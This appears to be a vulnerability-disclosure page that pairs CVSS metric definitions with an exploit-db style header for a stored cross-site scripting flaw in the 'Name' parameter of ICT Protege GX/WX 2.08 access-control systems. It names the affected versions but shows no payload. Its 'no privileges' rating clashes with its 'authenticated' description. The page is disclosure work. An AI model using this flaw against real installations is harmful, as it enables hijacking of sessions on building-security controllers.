The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
Low
C
There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity
Low
I
Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.

# Exploit Title: ICT Protege GX/WX 2.08 - Stored Cross-Site Scripting (XSS)
# Exploit Author: LiquidWorm
Vendor: Integrated Control Technology Ltd.
Product web page: https://www.ict.co
Affected version: GX: Ver: 2.08.1002 K1B3
Lib: 04.00.217
Int: 2.3.235.J013
OS: 2.0.20
WX: Ver: 4.00 284 H062
App: 02.08.766
Lib: 04.00.169
Int: 02.2.208
Summary: Protege GX is an enterprise level integrated access control, intrusion
detection and building automation solution with a feature set that is easy to
operate, simple to integrate and effortless to extend. Protege WX is an all-in-one,
web-based, cross-platform system that gives you a fully functional access control
and intrusion detection solution in a fraction of the time of conventional software.
With no software to install, setup is quick and simple. Connect the Controller and
system components, then open a web browser to launch the intuitive wizard-driven
interface which guides you through the process of configuring your system.
Desc: The application suffers from an authenticated stored XSS vulnerability.
The issue is triggered when input passed to the 'Name' parameter is not properly
sanitized before being returned to the user. This can be exploited to execute
arbitrary HTML and script code in a user's browser session in context of an
affected site.
Tested on: Microsoft-WinCE/6.00
